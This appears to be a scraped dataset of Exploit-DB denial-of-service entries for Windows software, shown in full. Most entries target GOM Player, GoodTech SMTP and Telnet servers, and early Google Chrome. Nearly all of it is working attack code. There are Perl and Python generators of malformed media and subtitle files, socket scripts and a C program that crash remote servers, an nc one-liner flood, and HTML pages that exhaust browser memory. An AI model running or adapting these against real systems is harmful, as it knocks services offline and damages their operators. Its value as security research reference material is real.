deardaniel/secdata-raw huggingface dataset:
Exploit-DB #17089
Description: GOM Media Player 2.1.6.3499 - Buffer Overflow (Denial of Service) (PoC)
Type: dos
Platform: windows
Date: 2011-04-01
Author: ^Xecuti0N3r

Exploit:
#!/usr/bin/perl
#(+)Exploit Title: GOM Media Player 2.1.6.3499 0day Buffer overflow/DOS Exploit
#(+)Software Link: download.cnet.com/GOM-Media-Player/3000-2139_4-10701768.html
#(+)Software  : GOM Media Player
#(+)Version   : 2.1.6.3499
#(+)Tested On : WIN-XP SP3
#(+) Date     : 31.03.2011
#(+) Hour     : 3:37 PM
#Similar Bug was found by cr4wl3r in MediaPlayer Classic

system("color 6");
system("title GOM Media Player 2.1.6.3499 0day Buffer overflow/DOS Exploit");
print "
_______________________________________________________________________
																	
(+)Exploit Title: GOM Media Player 2.1.6.3499 0day Buffer overflow/DOS Exploit
 
(+) Software Link: download.cnet.com/GOM-Media-Player/3000-2139_4-10701768.html					
(+) Software  : GOM Media Player
(+) Version   : 2.1.6.3499												
(+) Tested On : WIN-XP SP3												
(+) Date      : 31.03.2011												
(+) Hour      : 13:37 PM													
____________________________________________________________________\n	";
sleep 2;
system("cls");
system("color 2");
print "\nGenerating the exploit file !!!";
sleep 2;
print "\n\nGomExploit.avi file generated!!";
sleep 2;
$theoverflow = "\x4D\x54\x68\x64\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00";
 
open(file, "> GomExploit.avi");
print (file $theoverflow);
print "\n\n(+) Done!\n
(+) Now Just open GomExplot.avi with Gom Player and Kaboooommm !! ;) \n
(+) Most of the times there is a crash\n whenever you open the folder where the GomExploit.avi is stored :D \n";

sleep 3;
system("cls");
sleep 1;
system("color C");
print "\n\n\n########################################################################\n
(+)Exploit Coded by: ^Xecuti0N3r\n
(+)^Xecuti0N3r: E-mail \n
(+)d3M0l!tioN3r: E-mail \n
(+)Special Thanks to: MaxCaps, d3M0l!tioN3r & aNnIh!LatioN3r \n
########################################################################\n\n";
system("pause");
Exploit-DB #8370
Description: GOM Player 2.1.16.6134 - Subtitle Local Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2009-04-08
Author: Bui Quang Minh

Exploit:
#!/usr/local/bin/perl

##################################################################
#
#	Title : GOM Player Subtitle Buffer Overflow Vulnerabiltity
#	Discovery by : Bui Quang Minh
#	Tested : GOM Player 2.1.16.6134
#	Reference : Bkis [http://security.bkis.vn/?p=501]
#	PoC : Windows XP (Silently Crash) and Windows Vista, Windows 7.
#	
##################################################################

my $buffer = "A" x 10240 x 4;
my $filename = "gomdos.srt";
open (FILE,">$filename") || die "\nCan't open $file: $!";
print FILE "$buffer";
close (FILE);
print "\nSuccessfully!\n\nPlease try $filename with a video file!\n";

# milw0rm.com [2009-04-08]
Exploit-DB #11724
Description: GOM Player 2.1.21 - '.avi' Denial of Service
Type: dos
Platform: windows
Date: 2010-03-14
Author: En|gma7

Exploit:
#!/usr/bin/perl

print "
[~] GOM PLAYER V 2.1.21 -last- DoS (.avi file)
[~] EN|GMA7 Team ~
[~] By Z
[~] www.enigma7.net<http://www.enigma7.net>
";


$bf = "\x4D\x54\x68\x64\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00";

open(file, "> xploit.avi");
print (file $bf);
print "\n\n[+] Done!\n
[+] AVI file created..\n
[+] Z-at-Enigma7.net\n";
Exploit-DB #21830
Description: Gom Player 2.1.44.5123 - 'UNICODE' Null Pointer Dereference
Type: dos
Platform: windows
Date: 2012-10-09
Author: wh1ant

Exploit:
# Exploit Title: gom player 2.1.44.5123 (Unicode) NULL pointer dereference =
vulnerability
# Date: 2012.10.09
# Exploit Author: wh1ant
# Software Link: http://app.gomtv.com/gom/GOMPLAYERSETUP.EXE
# Version: 2.1.44.5123 (Unicode)
# Tested on: windows 7 Ultimate k
# Language : python

f = open("hack.avi", "wb")
data =  "\x52\x49\x46\x46\xca\x67\x41\x03\x41\x56\x49\x20\x4c\x49\x53\x54=
" \
        "\xc0\x00\x00\x00\x68\x64\x72\x6c\x61\x76\x69\x68\x38\x00\x00\x00" =
\
        "\x6b\x04\x01\x00\x9c\x5e\x07\x00\x00\x00\x00\x00\x10\x08\x00\x00" =
\
        "\x1e\x0a\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\xe1\x52\x01\x00" =
\
        "\x40\x01\x00\x00\xf0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" =
\
        "\x00\x00\x00\x00\x00\x00\x00\x00\x4c\x49\x53\x54\x74\x00\x00\x00" =
\
        "\x73\x74\x72\x6c\x73\x74\x72\x68\x38\x00\x00\x00\x76\x69\x64\x73" =
\
        "\x74\x73\x63\x63\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" =
\
        "\x01\x00\x00\x00\x0f\x00\x00\x00\x00\x00\x00\x00\x1e\x0a\x00\x00" =
\
        "\xe1\x52\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" =
\
        "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" =
\
        "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" =
\
        "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" =
\
        "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
               =20
f.write(data)

for i in range(0, 0x71a):
    f.write("\x00")

data = "\x4c\x49\x53\x54\xee\xbd\x40\x03\x6d\x6f\x76\x69\x30\x30\x64\x62\=
x3d\x4c\x00"
f.write(data)

#for i in range(0, 0x41):
for i in range(0, 0x41):
    f.write("\x41")
   =20
for i in range(0, 0x41):
    f.write("\x00")
       =20
#for i in range(0, 0x41):
for i in range(0, 0x41):
    f.write("\x41")
   =20
f.write("\x69\x64\x78\x31\xe0\xa1")

f.close()
Exploit-DB #10908
Description: GOM player 2.1.9 - Local Crash (PoC)
Type: dos
Platform: windows
Date: 2010-01-02
Author: SarBoT511

Exploit:
#!usr/bin/perl
#Exploits title :[GOM player V 2.1.9 Local crash poc]
#Date : [2010/01/02]
#Aouther : [SarBoT511]
#downloads :[http://en.kioskea.net/telecharger/download-2141-gom-player]
#tested on :[win xp sp2]
#GOM player V 2.1.9


$file="SarBoT511.asx";
$boom="A" x 2000;
open(myfile,">>$file");
print myfile $boom;
close(myfile);
print "Done ..! ~#";
Exploit-DB #41367
Description: GOM Player 2.3.10.5266 - '.fpx' Denial of Service
Type: dos
Platform: windows
Date: 2017-02-15
Author: Peter Baris

Exploit:
# Exploit Title: GOM Player 2.3.10.5266 - Remote heap corruption (.fpx)
# Date: 2017-02-15
# Exploit Author: Peter Baris
# Exploit link: http://www.saptech-erp.com.au/resources/PoC.zip
# Software Link: http://player.gomlab.com/download.gom?language=eng
# CVE: CVE-2017-5881
# Version: 2.3.10.5266
# Tested on: Windows Server 2008 R2 x64, Windows 7 SP1 x64

POC:

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/41367.zip  

Open the malicious fpx file with CTRL+U, served by a webserver:

 WinDbg 

(864.150): Access violation - code c0000005 (first chance)

First chance exceptions are reported before any exception handling.

This exception may be expected and handled.

eax=092fcde8 ebx=00000000 ecx=41414141 edx=090ff798 esi=090ff790
edi=05b10000

eip=77902fe5 esp=10a9fbb4 ebp=10a9fc94 iopl=0         nv up ei ng nz na pe
cy

cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b
efl=00010287

ntdll!RtlpFreeHeap+0x4d6:

77902fe5 8b19            mov     ebx,dword ptr [ecx]
ds:002b:41414141=????????

 

0:022> !exchain

10a9fc84: ntdll!_except_handler4+0 (77946325)

  CRT scope  0, func:   ntdll!RtlpFreeHeap+b7d (7795b52d)

10a9fd54: *** WARNING: Unable to verify checksum for C:\Program Files
(x86)\GRETECH\GomPlayer\gvf.ax

*** ERROR: Symbol file could not be found.  Defaulted to export symbols for
C:\Program Files (x86)\GRETECH\GomPlayer\gvf.ax - 

gvf!DllGetClassObject+5801b (6e02bc7b)

10a9fdcc: gvf!DllGetClassObject+57af8 (6e02b758)

10a9fe00: gvf!DllGetClassObject+57ac8 (6e02b728)

10a9fe84: gvf!DllGetClassObject+57fe0 (6e02bc40)

10a9feac: gvf!DllGetClassObject+5d5e8 (6e031248)

10a9ff60: ntdll!_except_handler4+0 (77946325)

  CRT scope  0, filter: ntdll!__RtlUserThreadStart+2e (77946608)

                func:   ntdll!__RtlUserThreadStart+63 (77948227)

10a9ff80: ntdll!FinalExceptionHandler+0 (779983b1)

Invalid exception stack at ffffffff


2017-02-04 notification sent to developers

2017-02-05 developerss requested information about the issue

2017-02-09 information sent with the PoC

no reply if they plan to release a fix or not
Exploit-DB #32483
Description: GOM Video Converter 1.1.0.60 - '.wav' Memory Corruption (PoC)
Type: dos
Platform: windows
Date: 2014-03-24
Author: TUNISIAN CYBER

Exploit:
#!/usr/bin/python

#[+] Author: TUNISIAN CYBER
#[+] Exploit Title: GOM Video Converter 1.1.0.60 Memory Corruption PoC
#[+] Date: 22-03-2014
#[+] Category: DoS/PoC
#[+] Tested on: WinXp/Windows 7 Pro
#[+] Vendor: http://converter.gomlab.com/
#[+] Friendly Sites: na3il.com,th3-creative.com
#[+] Twitter: @TCYB3R
 

print"###########################################################"
print"#  Title: GOMVC 1.1.0.60 Memory Corruption PoC             #"
print"#  Author: TUNISIAN CYBER                                  #"
print"#  Category: DoS/PoC                                       # "
print"###########################################################"
	
 
header=("\x2E\x73\x6E\x64\x00\x00\x01\x18\x00\x00\x42\xDC\x00\x00\x00\x01"
"\x00\x00\x1F\x40\x00\x00\x00\x00\x69\x61\x70\x65\x74\x75\x73\x2E"
"\x61\x75\x00\x20\x22\x69\x61\x70\x65\x74\x75\x73\x2E\x61\x75\x22"
"\x00\x31\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00")
 
filename = "3vil.wav"
file = open(filename , "w")
file.write(header)
print "\n Done!\n"
file.close()
Exploit-DB #28080
Description: GOMPlayer 2.2.53.5169 - '.wav' Crash (PoC)
Type: dos
Platform: windows
Date: 2013-09-04
Author: ariarat

Exploit:
# Exploit Title: GOMPlayer Version 2.2.53.5169 (.wav) - Crash POC
# Date: 03-09-2013
# Exploit Author: ariarat
# Software Link: http://download.cnet.com/GOM-Media-Player/3000-13632_4-10551786.html?part=dl-GOMMediaP&subj=dl&tag=button
# Version: 2.2.53.5169 (Probably old version of software too)
# Vendor Homepage: www.gomlab.com
# Tested on: [ Windows XP sp3]
#============================================================================================
# After creating POC file (.wav),drag it to Player!
#============================================================================================
# Contact :
#------------------
# Web Page : http://ariarat.blogspot.com
# Email    : mehdi.esmaeelpour@gmail.com
#============================================================================================

#!/usr/bin/python

string=("\x2E\x73\x6E\x64\x00\x00\x01\x18\x00\x00\x42\xDC\x00\x00\x00\x01"
"\x00\x00\x1F\x40\x00\x00\x00\x00\x69\x61\x70\x65\x74\x75\x73\x2E"
"\x61\x75\x00\x20\x22\x69\x61\x70\x65\x74\x75\x73\x2E\x61\x75\x22"
"\x00\x31\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00")

filename = "gomPlayer.wav"
file = open(filename , "w")
file.write(string)
file.close()
Exploit-DB #1162
Description: GoodTech SMTP Server 5.14 - Denial of Service
Type: dos
Platform: windows
Date: 2005-06-07
Author: Reed Arvin

Exploit:
#===== Start GoodTechSMTPServer_DOS.pl =====
#
# Usage: GoodTechSMTPServer_DOS.pl <ip>
#        GoodTechSMTPServer_DOS.pl 127.0.0.1
#
# GoodTech SMTP Server for Windows NT/2000/XP version 5.14
#
# Download:
# http://www.goodtechsys.com/
#
##########################################################

use IO::Socket;
use strict;

my($socket) = "";

if ($socket = IO::Socket::INET->new(PeerAddr => $ARGV[0],
                                    PeerPort => "25",
                                    Proto    => "TCP"))
{
        print "Attempting to kill GoodTech SMTP Server at $ARGV[0]:25...";

        sleep(1);

        print $socket "HELO moto.com\r\n";

        sleep(1);

        print $socket "RCPT TO: A\r\n";

        close($socket);
}
else
{
        print "Cannot connect to $ARGV[0]:25\n";
}
#===== End GoodTechSMTPServer_DOS.pl =====

# milw0rm.com [2005-06-07]
Exploit-DB #23506
Description: GoodTech Telnet Server 4.0 - Remote Denial of Service
Type: dos
Platform: windows
Date: 2004-01-02
Author: Donato Ferrante

Exploit:
source: https://www.securityfocus.com/bid/9337/info

GoodTech Telnet Server is reportedly prone to a denial of service vulnerability. This condition occurs prior to authentication when excessive data is received by the server. Exploitation could result in memory corruption, which could in turn be leveraged to execute arbitrary code, though this has not been confirmed by Symantec.

perl -e 'print "a"x8245' | nc www.example.com 23
Exploit-DB #882
Description: GoodTech Telnet Server < 5.0.7 - Buffer Overflow Crash
Type: dos
Platform: windows
Date: 2005-03-15
Author: Komrade

Exploit:
/******************************************************************************************

	GoodTech Telnet Server Buffer Overflow Crash POC
	created by Komrade
	e-mail:	unsecure(at)altervista(dot)org
	web:	http://unsecure.altervista.org

	Tested on GoodTech Telnet Server versions 4.0 - 5.0 (versions prior to 5.0.7)
        on a Windows XP Professional sp2 operating system.

	This exploit connects to the Administration server of GoodTech Telnet Server
	(default port 2380) and sends a very long string (10040 bytes).
	After the exploit is sent the Telnet Server will crash, trying to access
	to a bad memory address: 0xDEADCODE.

	Usage: gtscrash.exe "IP address"

	Options:
	"IP address"	The IP address of the computer running GoodTech Telnet Server

*******************************************************************************************/

#include <windows.h>
#include <winsock.h>
#include <stdio.h>

int main(int argc, char **argv)
{

	SOCKET sock;
	struct sockaddr_in sock_addr;
	WSADATA data;
	WORD p;
	p=MAKEWORD(2,0);
	WSAStartup(p,&data);
	int i, n, err;
	unsigned char *mex;
	char risp[4096];

	printf("------------------------------------------------------------------------------\r\n");
	printf("\tGoodTech Telnet Server Buffer Overflow Crash POC\r\n");
	printf("\t\t\tcreated by Komrade\r\n\r\n");

	printf("\t\te-mail: unsecure(at)altervista(dot)org\r\n");
	printf("\t\tweb: http://unsecure.altervista.org\r\n");
	printf("------------------------------------------------------------------------------\r\n\r\n");


	if (argc < 2){
		printf("Usage: gtscrash.exe \"IP address\"\r\n\r\n");
		printf("Options:\r\n");
		printf("IP address\tThe IP address of the computer running GoodTech Telnet Server\r\n");
		exit(0);
	}

	mex =(unsigned char *) LocalAlloc(LMEM_FIXED, 12000);

	sock = socket(AF_INET, SOCK_STREAM, 0);
	sock_addr.sin_family=PF_INET;
	sock_addr.sin_port=htons(2380); /* Administration web server port */
	sock_addr.sin_addr.s_addr= inet_addr(argv[1]);

	err = connect(sock,(struct sockaddr*)&sock_addr,sizeof(struct sockaddr));
	if(err<0){
		printf("Unable to connect() to %s\n", argv[1]);
		exit(-1);
	}

	strcpy (mex, "GET /");

	for(i = strlen(mex); i < 10032; i++)
		mex[i]= 'a';
	mex[i]=0;

	strcat(mex, "\xDE\xC0\xAD\xDE"); /* Invalid IP address */
	strcat(mex, "\r\n\r\n");

	printf("Sending %d bytes.....\n\n", strlen(mex));
	n=send(sock, mex , strlen(mex), 0);

	n=recv(sock, risp, sizeof(risp), 0);
	if (n < 0)
		printf("GoodTech Telnet Server succesfully crashed!!\n");
	else{
		risp[n]=0;
		printf("%s\n", risp);
	}

	closesocket(sock);
	WSACleanup();
	return 0;
}

// milw0rm.com [2005-03-15]
Exploit-DB #19666
Description: GoodTech Telnet Server NT 2.2.1 - Denial of Service
Type: dos
Platform: windows
Date: 1999-12-06
Author: Ussr Labs

Exploit:
source: https://www.securityfocus.com/bid/862/info


GoodTech Telnet Server NT 2.2.1 is vulnerable to a remote denial of service attack due to an unchecked buffer. If 23870 or more characters are entered at the username prompt, the software will crash.

GoodTech's Telnet Server 95/98 may also be vulnerable to this overflow. 

$ telnet victimhost

Trying victimhost...
Connected to victimhost.
Escape character is '^]'.

Welcome to GoodTech Telnet Server for Windows NT (V2.2) (Evaluation Copy)

(C) Copyright 1996-1999 GoodTech Systems, Inc.


Login username: (32870 characters)

...server crash
Exploit-DB #6554
Description: Google Chrome - Carriage Return Null Object Memory Exhaustion
Type: dos
Platform: windows
Date: 2008-09-24
Author: Aditya K Sood

Exploit:
<html>
<title>Google Chrome Carriage Return Null Object Memory Exhaustion Remote Dos.</title>
<head>
<script language="javascript">

window.open("\r\n\r\n");
window.refresh();
window.open("\r\n\r\n");


</script>
</head>

<body><br><br>
<h2><center>Google Chrome Carriage Return Null Object Memory Exhaustion Remote Denial of Service.<br><br>Proof of Concept</br></br> </center></h2>


<center>
<b>Note:: Keep an eye on the memory consumption in Task Manager.</b><br><br>

<hr></hr>
<b>This POC has been designed with minimum object usage. This can be made more critical when combined with number of objects. For Example:
using alert function will make it more exhaustive.</b></br></br>

<b><br>Aditya K Sood<br> (c) SecNiche Security.<br><a href="http://www.secniche.org">http://www.secniche.org</a></br></b>
<hr></hr></center>
<b>Version Tested:<br><br>Official Build 1798<br>
Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)<br> AppleWebKit/525.13 (KHTML, like Gecko)<br> Chrome/0.2.149.29 Safari/525.13
 <br><br>

Official Build 2200<br>
Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) <br>AppleWebKit/525.13 (KHTML, like Gecko) <br>Chrome/0.2.149.30 Safari/525.13
</b>
<hr></hr>
</body>


</html>

# milw0rm.com [2008-09-24]
Exploit-DB #18019
Description: Google Chrome - Killing Thread (PoC)
Type: dos
Platform: windows
Date: 2011-10-22
Author: pigtail23

Exploit:
## _  (`-')  _   pigtail23   (`-')     (`-')  _   _           www.remoteshell.de ##
## \-.(OO ) (_)        .->   ( OO).->  (OO ).-/  (_)      <-.                    ##
## _.'    \ ,-(`-') ,---(`-')/    '._  / ,---.   ,-(`-'),--. )   .----.  .----.  ##
##(_...--'' | ( OO)'  .-(OO )|'--...__)| \ /`.\  | ( OO)|  (`-')\_,-.  |\_.-,  | ##
##|  |_.' | |  |  )|  | .-, \`--.  .--''-'|_.' | |  |  )|  |OO )   .' .'  |_  <  ##
##|  .___.'(|  |_/ |  | '.(_/   |  |  (|  .-.  |(|  |_/(|  '__ | .'  /_ .-. \  | ##
##|  |      |  |'->|  '-'  |    |  |   |  | |  | |  |'->|     |'|      |\ `-'  / ##
##`--'      `--'    `-----'     `--'   `--' `--' `--'   `-----' `------' `---''  ##
###################################################################################
###################################################################################
October 22, 2011

Ohh nice! What u doing google? Thx 4 ur bug! 0__o

Google Chrome PoC, killing thread. Exploitable or only a DOS!? Found no way to exploit it. Good Luck!!!

Testsystem: WinXP SP3, Win7(64 bit)
Google Chrome version: 14.0.835.202

Greetings to:
mr_insecure, myownremote, noptrix, Eph, lnxg33k, CyberMaN,...
TheXero, Dexter, #back-track.de and #intern0t @ irc.freenode.net

###################################################################################

poc.html:

too big!

###################################################################################

Python script for debugging:

#!/usr/bin/python

filename = 'poc.html'
content = open('template.html', 'r').read()

buff = '$$*' * 36800 

rc = 484
content2 = content[:rc] + buff + content[rc:]	

FILE = open(filename,"w")
FILE.write(content2)
FILE.close()

###################################################################################


template.html:

<html>
<body>
<script>(function(){var d=document;if(!("autofocus" in d.createElement("input"))){try{d.getElementById("yschsp").focus();}catch(e){}}data={"assist":{"url":"http:\/\/www.google.com","maxLength":38,"linkStem":"http:\/\/www.remoteshell.de","settingsUrl":"http:\/\/www.chrooome.xxx","strings":{"searchbox_title":"bam","settings_text":"bam","gossip_desc":"bam","scroll_up":"bam","scroll_down":"bam","aria_available_suggestions":"bam","aria_no_suggestion_available":"bam"}}};window.onload=function(){var h=d.getElementsByTagName("head")[0],o=d.createElement("script");o.src="http://www.0__o";h.appendChild(o);};}());</script>
</body>
</html>
Exploit-DB #7226
Description: Google Chrome - MetaCharacter URI Obfuscation
Type: dos
Platform: windows
Date: 2008-11-25
Author: Aditya K Sood

Exploit:
<html>
<title>Google Chrome MetaCharacter URI Obfuscation Vulnerability.</title>
<head></head>

<body><br><br>
<h2><center>Google Chrome MetaCharacter URI Obfuscation Vulnerability.<br><br>(C) SecNiche Security / Proof of Concept</br></br> </center></h2>


<center>
<b>By:- Aditya K Sood.</b><br><br>
<hr></hr>
<b>This POC has been designed with minimum object usage. This can be made more critical dependent on the object usage.<br><br>

Check the Status Bar for Address Problem. Have a Look at the Source too.</b></br></br>
<hr></hr>

<b><a href="http://bothack.wordpress.com/2006/07/25/url-obfuscation/"> The Indepth Concept of this Vulnerablility.</a></b>
<h2> Look at POC.</h2>
<b>Link1 : <a href="http://www.google.com%00@milw0rm.com">http://www.google.com%00@milw0rm.com </a> <br><br>
Link2 : <a href="http://www.google.com@yahoo.com">http://www.google.com@yahoo.com</a><br><br>

Link3 : <a href="ftp://anoymous:guest@microsoft.com">ftp://anoymous:guest@microsoft.com</a><br><br>
</b>
<b>Check the Status Bar for Address Problem,</b></br></br>
<hr></hr>
<b><center>
<h1> Specifcally Tested on 0.4.154.25 [Latest]</h1>
</center>
<hr></hr>
<b>Other Version Tested:<br><br>Official Build 1798<br>
Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)<br> AppleWebKit/525.13 (KHTML, like Gecko)<br> Chrome/0.2.149.29 Safari/525.13
 <br><br>

Official Build 2200<br>
Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) <br>AppleWebKit/525.13 (KHTML, like Gecko) <br>Chrome/0.2.149.30 Safari/525.13
</b>
<hr></hr>
</center>
</body>


</html>

# milw0rm.com [2008-11-25]